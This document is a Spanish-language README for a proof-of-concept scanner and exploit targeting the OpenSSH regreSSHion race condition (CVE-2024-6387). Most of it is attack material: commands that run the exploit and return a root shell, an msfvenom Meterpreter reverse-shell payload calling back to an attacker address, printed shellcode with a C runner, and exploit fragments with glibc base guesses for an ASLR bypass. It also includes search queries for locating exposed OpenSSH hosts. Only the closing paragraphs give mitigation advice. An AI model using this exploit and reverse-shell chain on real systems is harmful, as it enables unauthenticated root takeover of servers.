
PoC - Vulnerabilidad de Ejecución Remota de Código No Autenticada en OpenSSH server (Scanner y Exploit)
CVE-2024-6387 - PoCNota: Este script es un PoC prototipo rápido, espere que puedan ocurrir algunos errores y fallos. Probado en: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilidad de ejecución remota de código no autenticado en el servidor OpenSSH
Se encontró una condición de carrera en el manejador de señales del servidor OpenSSH (sshd), donde un cliente no se autentica dentro de los segundos LoginGraceTime (120 por defecto, 600 en versiones antiguas de OpenSSH), entonces el manejador SIGALRM de sshd es llamado asincrónicamente. Sin embargo, este manejador de señales llama a varias funciones que no son seguras para señales asincrónicas, por ejemplo, syslog().
Puede encontrar los detalles técnicos aquí.
La falla, descubierta por investigadores de Qualys en May 2024 y asignada con el identificador CVE-2024-6387, se debe a una condición de carrera en el manejador de señales de sshd que permite a atacantes remotos no autenticados ejecutar código arbitrario como root.
"Si un cliente no se autentica dentro de los segundos LoginGraceTime (120 por defecto), entonces el manejador SIGALRM de sshd es llamado asincrónicamente y llama a varias funciones que no son seguras para señales asincrónicas,"
"Un atacante remoto no autenticado puede aprovechar esta falla para ejecutar código arbitrario con privilegios de root."
Requisito: python3 (última versión)
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestión de Parches: Aplicar rápidamente los parches disponibles para OpenSSH es fundamental para cerrar la brecha de vulnerabilidad. La aplicación oportuna de parches garantiza que los exploits conocidos no puedan ser aprovechados contra sus sistemas, reduciendo así la ventana de oportunidad para los atacantes.
Control de Acceso Mejorado: Limitar el acceso SSH a través de controles basados en la red agrega una capa adicional de defensa. Este enfoque minimiza la exposición a posibles atacantes al restringir las conexiones SSH solo a redes o direcciones IP autorizadas. La implementación de herramientas como reglas de firewall o el uso de VPN para acceso seguro puede imponer estas restricciones de manera efectiva.
Segmentación de Red: Dividir su red en segmentos ayuda a contener el impacto de una posible violación. Al segmentar los sistemas críticos y los datos sensibles de las partes menos críticas de su red, reduce el riesgo de movimiento lateral por parte de los atacantes. Esta segmentación puede complementarse con controles de acceso estrictos y monitoreo para detectar y responder a cualquier intento no autorizado de violar estos segmentos.
Sistemas de Detección de Intrusiones (IDS): Implementar IDS o sistemas de prevención de intrusiones (IPS) permite la monitorización en tiempo real del tráfico de red y los registros del sistema. Estos sistemas pueden detectar actividades sospechosas y posibles intentos de explotación asociados con la vulnerabilidad regreSSHion. Las alertas generadas por dichos sistemas permiten una investigación y mitigación rápidas antes de que ocurran daños significativos.
Monitoreo de Intentos de Explotación: El monitoreo continuo de los registros de red y del sistema es crucial. Busque cualquier patrón o actividad inusual que pueda indicar un intento de explotar la vulnerabilidad de OpenSSH. Este enfoque proactivo ayuda a identificar y responder a las amenazas antes de que puedan causar daño.